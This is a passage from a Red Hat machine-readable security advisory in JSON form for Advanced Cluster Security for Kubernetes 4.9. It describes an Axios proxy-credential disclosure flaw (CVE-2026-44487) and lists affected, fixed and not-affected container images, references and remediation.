"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure of proxy credentials via HTTP redirects"
},
{
"cve": "CVE-2026-44487",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"discovery_date": "2026-06-11T17:01:34.091476+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487948"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. During specific proxy-to-direct redirect flows in the Node.js HTTP adapter, a remote attacker could exploit this vulnerability. The Proxy-Authorization header, which contains proxy credentials and is intended only for the outbound proxy, may be forwarded to the final redirected origin. This can lead to the disclosure of sensitive proxy credentials to an unintended third party.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure of proxy credentials via redirect flows",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important information disclosure flaw in Axios affecting Node.js environments. When an application uses Axios with an authenticated HTTP proxy and follows redirects from an HTTP to a non-proxied HTTPS destination, the Proxy-Authorization header may be inadvertently sent to the final origin server. This could lead to the exposure of sensitive proxy credentials to an unintended third party.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44487"
},
{
"category": "external",
"summary": "RHBZ#2487948",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487948"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44487"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v",
"url": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v"
}
],
"release_date": "2026-06-11T15:38:25.150000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
